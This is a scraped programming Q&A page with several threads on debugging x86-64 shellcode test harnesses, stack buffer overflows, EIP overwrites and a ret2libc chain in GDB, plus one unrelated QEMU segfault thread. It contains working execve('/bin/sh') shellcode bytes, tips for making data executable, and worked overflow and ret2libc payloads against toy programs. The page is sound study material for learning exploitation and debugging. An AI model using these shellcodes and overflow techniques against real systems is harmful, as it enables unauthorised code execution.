Testing Shellcode With GDB [duplicate] - c

This question already has an answer here:
Testing Shellcode From C - Bus Error 10
(1 answer)
Closed 6 years ago.
If I just execute shell code program It makes segmentation fault like this
desktop:~$ ./sh02
Segmentaion fault (core dumped)
But, when I debug this program with GDB, this program executes /bin/sh successfully
(gdb) disass 0x4005a0
No function contains specified address.
(gdb) shell ps
PID TTY TIME CMD
4075 pts/4 00:00:00 bash
4099 pts/4 00:00:00 gdb
4101 pts/4 00:00:00 sh
4107 pts/4 00:00:00 ps
(gdb)
After debugging with GDB, this program works well ...
I can't find difference between them
Why I can't run /bin/sh via sh02 program before debugging?
const char str[]=
"\x55"
"\x48\x89\xe5"
"\x48\x31\xff"
"\x57"
"\x57"
"\x5e"
"\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e"
"\x2f\x73\x68"
"\x57"
"\x54"
"\x5f"
"\x6a\x3b"
"\x58"
"\x0f\x05"
"\x90"
"\x5d"
"\xc3";
int main()
{
int (*func)();
func = (int (*)()) str;
(int)(*func)();
}
Above is sh02.c code.
I read that questions and answers. But I think my case is little bit different. During debugging with GDB and after debugging sh02 program execute /bin/sh successfully. However only before debugging, it makes segmentation fault
I use Ubuntu 16.04 and x64 architecture

When undefined behavior is invoked the program may crash or not crash (by luck). The program does not null terminate the string sent to exec, the results are undefined.
Try this:
"\x48\xbf\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00"
Note that I dropped the extra '/' and added the '\0' at the end of the string.
I was able to determine the issue by using gdb.
Here is the session perhaps this will help you to learn assembly debugging.
parallels#ubuntu:/tmp$ gcc -g -fno-stack-protector -z execstack -o shellcode shellcode2.c
parallels#ubuntu:/tmp$ gdb ./shellcode
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
...
Reading symbols from ./shellcode...done.
(gdb) b main
Breakpoint 1 at 0x4004f5: file shellcode2.c, line 25.
(gdb) r
Starting program: /tmp/shellcode
Breakpoint 1, main () at shellcode2.c:25
25 func = (int (*)()) str;
(gdb) n
27 (int)(*func)();
(gdb) stepi
0x0000000000400501 27 (int)(*func)();
(gdb) stepi
0x0000000000400506 27 (int)(*func)();
(gdb) stepi
0x00000000004005c0 in str ()
(gdb) disass
Dump of assembler code for function str:
=> 0x00000000004005c0 <+0>: push %rbp
0x00000000004005c1 <+1>: mov %rsp,%rbp
0x00000000004005c4 <+4>: xor %rdi,%rdi
0x00000000004005c7 <+7>: push %rdi
0x00000000004005c8 <+8>: push %rdi
0x00000000004005c9 <+9>: pop %rsi
0x00000000004005ca <+10>: pop %rdx
0x00000000004005cb <+11>: movabs $0x68732f6e69622f2f,%rdi
0x00000000004005d5 <+21>: push %rdi
0x00000000004005d6 <+22>: push %rsp
0x00000000004005d7 <+23>: pop %rdi
0x00000000004005d8 <+24>: pushq $0x3b
0x00000000004005da <+26>: pop %rax
0x00000000004005db <+27>: syscall
0x00000000004005dd <+29>: nop
0x00000000004005de <+30>: pop %rbp
0x00000000004005df <+31>: retq
0x00000000004005e0 <+32>: add %al,(%rax)
End of assembler dump.
(gdb) b *0x4005db
Breakpoint 2 at 0x4005db
(gdb) c
Continuing.
Breakpoint 2, 0x00000000004005db in str ()
(gdb) info reg
rax 0x3b 59
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x0 0
rdi 0x7fffffffdef8 140737488346872
rbp 0x7fffffffdf00 0x7fffffffdf00
rsp 0x7fffffffdef8 0x7fffffffdef8
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7dea560 140737351951712
r10 0x7fffffffddb0 140737488346544
r11 0x7ffff7a36dd0 140737348070864
r12 0x400400 4195328
r13 0x7fffffffe000 140737488347136
r14 0x0 0
r15 0x0 0
rip 0x4005db 0x4005db <str+27>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) p (char*) $rdi
$1 = 0x7fffffffdef8 "//bin/sh \337\377\377\377\177"
As you can see the string has an extra '/' and no NULL terminator. A simple two character fix and all is well.

Related

What controls whether code stored in the data section can run or not?

https://www.exploit-db.com/exploits/42179
#include <stdio.h>
unsigned char shellcode[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
According to the comment in the code, gcc -fno-stack-protector -z execstack shell.c -o shell is supposed to compiled the code on #1 SMP Debian 4.9.18-1 (2017-03-30) x86_64 GNU/Linux.
I get the following error when I try the above code. How to make it work? What has been changed in the OS so that it does not work any more?
$ uname -a
Linux kali 5.10.0-kali4-amd64 #1 SMP Debian 5.10.19-1kali1 (2021-03-03) x86_64 GNU/Linux
$ gcc -fno-stack-protector -z execstack shell.c -o shell
$ ./shell
Segmentation fault
EDIT: It seems the problem is related with kali linux. The same binary runs on Ubuntu 64bit. I tried to step through the binary with gdb on kali.
The segmentation fault on kali is generated when the shellcode is run.
$ gdb -q shell
Reading symbols from shell...
(No debugging symbols found in shell)
(gdb) b main
Breakpoint 1 at 0x1129
(gdb) start
Temporary breakpoint 2 at 0x1129
Starting program: /tmp/shell
Breakpoint 1, 0x0000555555555129 in main ()
(gdb) disassemble main
Dump of assembler code for function main:
0x0000555555555125 <+0>: push %rbp
0x0000555555555126 <+1>: mov %rsp,%rbp
=> 0x0000555555555129 <+4>: sub $0x10,%rsp
0x000055555555512d <+8>: lea 0x2efc(%rip),%rax # 0x555555558030 <shellcode>
0x0000555555555134 <+15>: mov %rax,-0x8(%rbp)
0x0000555555555138 <+19>: mov -0x8(%rbp),%rdx
0x000055555555513c <+23>: mov $0x0,%eax
0x0000555555555141 <+28>: call *%rdx
0x0000555555555143 <+30>: mov $0x0,%eax
0x0000555555555148 <+35>: leave
0x0000555555555149 <+36>: ret
End of assembler dump.
(gdb) si 5
0x0000555555555141 in main ()
(gdb) disassemble main
Dump of assembler code for function main:
0x0000555555555125 <+0>: push %rbp
0x0000555555555126 <+1>: mov %rsp,%rbp
0x0000555555555129 <+4>: sub $0x10,%rsp
0x000055555555512d <+8>: lea 0x2efc(%rip),%rax # 0x555555558030 <shellcode>
0x0000555555555134 <+15>: mov %rax,-0x8(%rbp)
0x0000555555555138 <+19>: mov -0x8(%rbp),%rdx
0x000055555555513c <+23>: mov $0x0,%eax
=> 0x0000555555555141 <+28>: call *%rdx
0x0000555555555143 <+30>: mov $0x0,%eax
0x0000555555555148 <+35>: leave
0x0000555555555149 <+36>: ret
End of assembler dump.
(gdb) si
0x0000555555558030 in shellcode ()
(gdb) si
Program received signal SIGSEGV, Segmentation fault.
0x0000555555558030 in shellcode ()
(gdb) x/16bx 0x0000555555558030
0x555555558030 <shellcode>: 0x50 0x48 0x31 0xd2 0x48 0x31 0xf6 0x48
0x555555558038 <shellcode+8>: 0xbb 0x2f 0x62 0x69 0x6e 0x2f 0x2f 0x73
Using the same binary on Ubuntu, the shellcode runs correctly.
When I modify the code by putting the shellcode in the stack, then it can run on kali. So the problem is related with whether code in data can be run or not. What controls this behavior?
$ cat shell.c
#include <stdio.h>
int main() {
unsigned char shellcode[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
}
What has been changed in the OS so that it does not work any more?
It used to be that readonly-data (.rodata) was put into the read-execute segment, together with .text.
To put shellcode into .rodata, you would need to make it const:
unsigned const char shellcode[] = ...
I don't think the example without const ever worked.
Once you put it into .rodata, it will work when linking with -Wl,-z,noseparate-code on newer systems (if your linker doesn't support noseparate-code, then it is probably old enough that the example will work without any special flags).

ret2libc segfault at address 0x0000000000000000

I performed ret2libc but ended in segfault in 0x0000000000000000. The vulnerable proagram is
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
char buf[10];
gets(buf);
printf("%s\n",buf);
}
int main()
{
get();
printf("Done\n");
return 1;
}
The disassembly from gdb is
(gdb) disass main
Dump of assembler code for function main:
0x000055555555516d <+0>: push rbp
0x000055555555516e <+1>: mov rbp,rsp
0x0000555555555171 <+4>: mov eax,0x0
0x0000555555555176 <+9>: call 0x555555555145 <get>
0x000055555555517b <+14>: lea rdi,[rip+0xe82] # 0x555555556004
0x0000555555555182 <+21>: call 0x555555555030 <puts#plt>
0x0000555555555187 <+26>: mov eax,0x1
0x000055555555518c <+31>: pop rbp
0x000055555555518d <+32>: ret
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
0x0000555555555145 <+0>: push rbp
0x0000555555555146 <+1>: mov rbp,rsp
0x0000555555555149 <+4>: sub rsp,0x10
0x000055555555514d <+8>: lea rax,[rbp-0xa]
0x0000555555555151 <+12>: mov rdi,rax
0x0000555555555154 <+15>: mov eax,0x0
0x0000555555555159 <+20>: call 0x555555555040 <gets#plt>
0x000055555555515e <+25>: lea rax,[rbp-0xa]
0x0000555555555162 <+29>: mov rdi,rax
0x0000555555555165 <+32>: call 0x555555555030 <puts#plt>
0x000055555555516a <+37>: nop
0x000055555555516b <+38>: leave
0x000055555555516c <+39>: ret
End of assembler dump.
I used radare2 to find the gadget pop rdi;ret which is located at 0x7ffff7e1d7de. /bin/sh is located at 0x7ffff7f7f1ac and system() is located at 0x7ffff7e3f8a0
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Breakpoint 1, main () at exploit.c:12
12 get();
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2964]
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
The registers are
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x7fffffffde88 140737488346760
rdi 0x2 2
rbp 0x4242424242424242 0x4242424242424242
rsp 0x7fffffffe1b8 0x7fffffffe1b8
r8 0x0 0
r9 0x0 0
r10 0x8 8
r11 0x246 582
r12 0x555555555060 93824992235616
r13 0x7fffffffe280 140737488347776
r14 0x0 0
r15 0x0 0
rip 0x0 0x0
eflags 0x10216 [ PF AF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
I use a 64-bit machine.The program was compiled using gcc -ggdb -Wall -fno-stack-protector -o a exploit.c. Also I disabled aslr manually.
Why did it end in segfault?
The message
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
means that your program has jumped to address 0 (that is, the %pc is 0), which is an invalid address. This is probably due to executing a ret instruction when the value on the top of the stack is 0.
You also see the message
[Detaching after vfork from child process 2964]
which likely means the system function is being called, but for whatever reason is not doing what you expect it to do.
To debug this sort of thing, you need to carefully step through the code one instruction at a time using si commmand (and occasional ni to skip over calls)

Root cause a segmentation fault

Background
I've built qemu-system-x86_64.exe on a Windows machine using MSYS2 (x86_64), and I'm debugging a segmentation fault that happens when I try to run it.
Actually I don't think the problem is related to either QEMU or MSYS2, it's a problem of debugging segmentation fault and possibly wrong code generation.
Debugging the Segmentation Fault
The program crashes with segmentation fault error right at the beginning.
When running with gdb, I found out the following:
Starting program: C:\msys64\home\Administrator\qemu\x86_64-softmmu\qemu-system-x86_64.exe
[New Thread 4656.0x1194]
Program received signal SIGSEGV, Segmentation fault.
0x00000000007d3254 in getpagesize () at util/oslib-win32.c:535
535 {
(gdb) bt
#0 0x00000000007d3254 in getpagesize () at util/oslib-win32.c:535
#1 0x000000000086dd39 in init_real_host_page_size () at util/pagesize.c:16
#2 0x00000000007ea1b2 in __do_global_ctors ()
at C:/repo/mingw-w64-crt-git/src/mingw-w64/mingw-w64-crt/crt/gccmain.c:67
#3 0x00000000007ea20f in __main ()
at C:/repo/mingw-w64-crt-git/src/mingw-w64/mingw-w64-crt/crt/gccmain.c:83
#4 0x000000000040137f in __tmainCRTStartup ()
at C:/repo/mingw-w64-crt-git/src/mingw-w64/mingw-w64-crt/crt/crtexe.c:329
#5 0x00000000004014db in WinMainCRTStartup ()
at C:/repo/mingw-w64-crt-git/src/mingw-w64/mingw-w64-crt/crt/crtexe.c:195
This is strange.
The program crashes when running __do_global_ctors and calling init_real_host_page_size() which calls getpagesize(). These are really simple functions:
uintptr_t qemu_real_host_page_size;
intptr_t qemu_real_host_page_mask;
static void __attribute__((constructor)) init_real_host_page_size(void)
{
qemu_real_host_page_size = getpagesize();
qemu_real_host_page_mask = -(intptr_t)qemu_real_host_page_size;
}
...
int getpagesize(void)
{
SYSTEM_INFO system_info;
GetSystemInfo(&system_info);
return system_info.dwPageSize;
}
getpagesize() crashes right at the beginning of the function, before it even calls GetSystemInfo.
Here is the disassembly of that code fragment and register values:
(gdb) disassem
Dump of assembler code for function getpagesize:
0x00000000007d3250 <+0>: sub $0x68,%rsp
=> 0x00000000007d3254 <+4>: mov %fs:0x0,%rax
0x00000000007d325d <+13>: mov %rax,0x58(%rsp)
0x00000000007d3262 <+18>: xor %eax,%eax
0x00000000007d3264 <+20>: lea 0x20(%rsp),%rcx
0x00000000007d3269 <+25>: callq *0x68e8b9(%rip) # 0xe61b28 <__imp_GetSystemInfo>
0x00000000007d326f <+31>: mov 0x24(%rsp),%eax
0x00000000007d3273 <+35>: mov 0x58(%rsp),%rdx
0x00000000007d3278 <+40>: xor %fs:0x0,%rdx
0x00000000007d3281 <+49>: jne 0x7d3288 <getpagesize+56>
0x00000000007d3283 <+51>: add $0x68,%rsp
0x00000000007d3287 <+55>: retq
0x00000000007d3288 <+56>: callq 0x85bde0 <__stack_chk_fail>
0x00000000007d328d <+61>: nop
End of assembler dump.
(gdb) info registers
rax 0x6f4b868 116701288
rbx 0x86ec10 8842256
rcx 0x6f4b8b8 116701368
rdx 0xe5a780 15050624
rsi 0x86e220 8839712
rdi 0x6f4ad50 116698448
rbp 0x6f4ad10 0x6f4ad10
rsp 0x22fd80 0x22fd80
r8 0x0 0
r9 0x0 0
r10 0x5000016b 1342177643
r11 0x22f9d8 2292184
r12 0x0 0
r13 0x10 16
r14 0x0 0
r15 0x0 0
rip 0x7d3254 0x7d3254 <getpagesize+4>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x53 83
gs 0x2b 43
It looks like something is wrong with the memory access mov %fs:0x0,%rax.
Who sets FS to 83?
(gdb) starti
Starting program: C:\msys64\home\Administrator\qemu\x86_64-softmmu\qemu-system-x86_64.exe
[New Thread 3508.0x14b0]
Program stopped.
0x00000000778b6fb1 in ntdll!CsrSetPriorityClass ()
from C:\Windows\SYSTEM32\ntdll.dll
(gdb) p $fs
$1 = 83
(gdb) watch $fs
Watchpoint 1: $fs
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00000000007d3254 in getpagesize () at util/oslib-win32.c:535
535 {
No one sets FS!
Questions
GCC generated code that uses uninitialized register. What could cause that? Was there some initialization code that should have run but didn't?
Any ideas how can I further debug this issue?
FS is an x86 segment register. These are generally not set by the user program, but instead set by the OS or by the runtime libraries, for various special purposes. For instance on Windows x86-64 GS is used to point to a per-thread data block: https://en.wikipedia.org/wiki/Win32_Thread_Information_Block (and FS is not used).
In this case the problem is a bug in the GCC 8 compiler you are using: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=86832
In some situations this compiler generates code that assumes FS has been set up for "native TLS", which is wrong because MINGW does not support "native TLS" and FS is not set to anything useful.
The workaround is to avoid compiling with the -fstack-protector-strong compiler option. For QEMU you can do that by passing configure the flag --disable-stack-protector.
(PS: if you want to know how I identified the cause of this segfault: I googled for 'qemu-devel sigsegv getpagesize', which brings up a mailing list thread where somebody else ran into and reported the bug, the problem was diagnosed and a link to the GCC bug found.)

Buffer Overflow strcpy()

I would like to know how many bytes do we have to overflow to run a shellcode ?
int fun (char data[256]){
int i;
char *tmp;
strcpy(tmp,data);
}
It is known that:
If string chain *data is larger than *tmp then there will be overflow.
Otherwise there will be no buffer overflow.
*tmp isn't initialized, so you're usually going to segmentation fault anyway.
A better example would be to change char *tmp; to something like char tmp[64]; and have stuff (over 64 bytes of stuff in this case) from data be copied over to tmp. To answer your question from thereon out, you'll need to fire up a debugger like gdb after changing the code then see how far you can write out until you overwrite the RIP. On my system that's 78 bytes.
marshall#marshall-debian-testbed:~$ cat bof.c
int fun (char data[256]) {
int i;
char tmp[64];
strcpy(tmp,data);
}
int main (int argc, char *argv[]) {
fun(argv[1]);
return(0);
}
marshall#marshall-debian-testbed:~$ gcc bof.c -o bof
bof.c: In function ‘fun’:
bof.c:4:1: warning: implicit declaration of function ‘strcpy’ [-Wimplicit-function-declaration]
strcpy(tmp,data);
^~~~~~
bof.c:4:1: warning: incompatible implicit declaration of built-in function ‘strcpy’
bof.c:4:1: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
marshall#marshall-debian-testbed:~$ ./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
marshall#marshall-debian-testbed:~$ gdb ./bof
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./bof...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x00000000000006d2 <+0>: push %rbp
0x00000000000006d3 <+1>: mov %rsp,%rbp
0x00000000000006d6 <+4>: sub $0x10,%rsp
0x00000000000006da <+8>: mov %edi,-0x4(%rbp)
0x00000000000006dd <+11>: mov %rsi,-0x10(%rbp)
0x00000000000006e1 <+15>: mov -0x10(%rbp),%rax
0x00000000000006e5 <+19>: add $0x8,%rax
0x00000000000006e9 <+23>: mov (%rax),%rax
0x00000000000006ec <+26>: mov %rax,%rdi
0x00000000000006ef <+29>: callq 0x6b0 <fun>
0x00000000000006f4 <+34>: mov $0x0,%eax
0x00000000000006f9 <+39>: leaveq
0x00000000000006fa <+40>: retq
End of assembler dump.
(gdb) disas fun
Dump of assembler code for function fun:
0x00000000000006b0 <+0>: push %rbp
0x00000000000006b1 <+1>: mov %rsp,%rbp
0x00000000000006b4 <+4>: sub $0x50,%rsp
0x00000000000006b8 <+8>: mov %rdi,-0x48(%rbp)
0x00000000000006bc <+12>: mov -0x48(%rbp),%rdx
0x00000000000006c0 <+16>: lea -0x40(%rbp),%rax
0x00000000000006c4 <+20>: mov %rdx,%rsi
0x00000000000006c7 <+23>: mov %rax,%rdi
0x00000000000006ca <+26>: callq 0x560 <strcpy#plt>
0x00000000000006cf <+31>: nop
0x00000000000006d0 <+32>: leaveq
0x00000000000006d1 <+33>: retq
End of assembler dump.
(gdb) r `perl -e 'print "A"x78;'`
Starting program: /home/marshall/bof `perl -e 'print "A"x78;'`
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) info registers
rax 0x7fffffffdce0 140737488346336
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x414141 4276545
rsi 0x7fffffffe140 140737488347456
rdi 0x7fffffffdd23 140737488346403
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffdd30 0x7fffffffdd30
r8 0x555555554770 93824992233328
r9 0x7ffff7de99e0 140737351948768
r10 0x5b 91
r11 0x7ffff7b9ab28 140737349528360
r12 0x555555554580 93824992232832
r13 0x7fffffffde20 140737488346656
r14 0x0 0
r15 0x0 0
rip 0x414141414141 0x414141414141
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
makes general way for the compiler. This is an exam for a computer master. we must explain the 2 cases :
-when *tmp[200] for example and
-when *tmp[300] ie a case or *tmp larger than *data (no overflows) and *tmp smaller than *data (overflow)
how to know the number of bytes that are overwhelmed that the code executes ?

stack overflow (shellcoders handbook)

I was taking at this example w.r.t. shellcoder's handbook(second edition), and have some question about the stack
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) set disassembly-flavor intel
(gdb) list
1 void ret_input(void){
2 char array[30];
3
4 gets(array);
5 printf("%s\n", array);
6 }
7 main(){
8 ret_input();
9
10 return 0;
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x24
0x0804841a <+6>: lea eax,[ebp-0x1e]
0x0804841d <+9>: mov DWORD PTR [esp],eax
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea eax,[ebp-0x1e]
0x08048428 <+20>: mov DWORD PTR [esp],eax
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb) break *0x08048420
Breakpoint 1 at 0x8048420: file sc.c, line 4.
(gdb) break *0x08048431
Breakpoint 2 at 0x8048431: file sc.c, line 6.
(gdb) run
Starting program: /root/pentest/sc
Breakpoint 1, 0x08048420 in ret_input () at sc.c:4
4 gets(array);
(gdb) x/20x $esp
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) continue
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
Breakpoint 2, 0x08048431 in ret_input () at sc.c:6
6 }
(gdb) x/20x 0x0bffff51c
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) ^Z
[1]+ Stopped gdb -q sc
root#bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�
root#bt:~/pentest#
in this example i was taking 48 bytes "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" that to rewrite ret address, and all is work. But when i tried to use example from first edition of this book, i faced with some problem
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x24,%esp
0x0804841a <+6>: lea -0x1e(%ebp),%eax
0x0804841d <+9>: mov %eax,(%esp)
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea -0x1e(%ebp),%eax
0x08048428 <+20>: mov %eax,(%esp)
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb)
why program has taken 24(hex)=36(dec)bytes for array, but i used 48 that rewrite, 36 bytes of array, 8 bytes of esp and ebp(how i know), but there are steel have 4 unexplained bytes
ok, lets try out the sploit from first edition of book who rewrite all of array by address of call function, in book they had "sub &0x20,%esp" so code is
main(){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x080484bb;
puts(array);
i have ""sub &0x24,%esp" so my code will be
main(){
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048435;
puts(array);
result of the shellcoders' handbook
[root#localhost /]# (./adress_to_char;cat) | ./overflow
input
""""""""""""""""""a<u___.input
input
input
and my result
root#bt:~/pentest# (./ad_to_ch;cat) | ./sc
5�h���ل$���������h����4��0��˄
inout
Segmentation fault
root#bt:~/pentest#
What's problem?
i was compiling with
-fno-stack-protector -mpreferred-stack-boundary=2
I suggest you better get the amount of bytes necessary to overflow the buffer by trying in GDB. I compiled the source you provided in your question and ran it through GDB:
gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]
(Do note that I use Python to create my input instead of a compiled C program. It really does not matter, use what you prefer.)
So 30 bytes are fine. Let's try some more:
gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ i r $eip
eip 0x41414141 0x41414141
Our eip register now contains 0x41414141, which is AAAA in ASCII. Now, we can gradually check where exactly we have to place the value in our buffer that updates eip:
gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()
B is 0x42. Thus, we overwrote half of eip when using 40 A's and four B's. Therefore, we pad with 42 A's and then put the value we want to update eip with:
gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()
We got full control over eip! Let's try it. Set a breakpoint at the end of ret_input (your addresses may vary as I recompiled the binary):
gdb$ dis ret_input
Dump of assembler code for function ret_input:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x38,%esp
0x0804840a <+6>: lea -0x26(%ebp),%eax
0x0804840d <+9>: mov %eax,(%esp)
0x08048410 <+12>: call 0x8048310 <gets#plt>
0x08048415 <+17>: lea -0x26(%ebp),%eax
0x08048418 <+20>: mov %eax,(%esp)
0x0804841b <+23>: call 0x8048320 <puts#plt>
0x08048420 <+28>: leave
0x08048421 <+29>: ret
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421
As an example, let's modify eip so once returning from ret_input we end up at the beginning of the function again:
gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>: ret
0x8048422 <main>: push ebp
0x8048423 <main+1>: mov ebp,esp
0x8048425 <main+3>: and esp,0xfffffff0
0x8048428 <main+6>: call 0x8048404 <ret_input>
0x804842d <main+11>: mov eax,0x0
0x8048432 <main+16>: leave
0x8048433 <main+17>: ret
--------------------------------------------------------------------------------
Breakpoint 1, 0x08048421 in ret_input ()
We pad 42 A's and then append the address of ret_input to our buffer. Our breakpoint on the ret triggers.
gdb$ x/w $esp
0xffffd30c: 0x08048404
On top of the stack there's the last DWORD of our buffer - ret_input's address.
gdb$ n
0x08048404 in ret_input ()
gdb$ i r $eip
eip 0x8048404 0x8048404 <ret_input>
Executing the next instruction pops that value off the stack and sets eip accordingly.
On a side note: I recommend the .gdbinit file from this guy.
This row :
for (i=o;i<=44;i+=4);
Remove the ; from the end. I also assume that the o(letter o) instead of 0(zero) is mistyped here.
The problem is that your for loop is executing ; (a.k.a. do nothing) until i becomes larger then 44, and then you execute the next command with i = 44 wich is outside the bounds of array and you get Segmentation Error. You should watch out for this type of error as it is hardly visible and it is completely valid c code.

Resources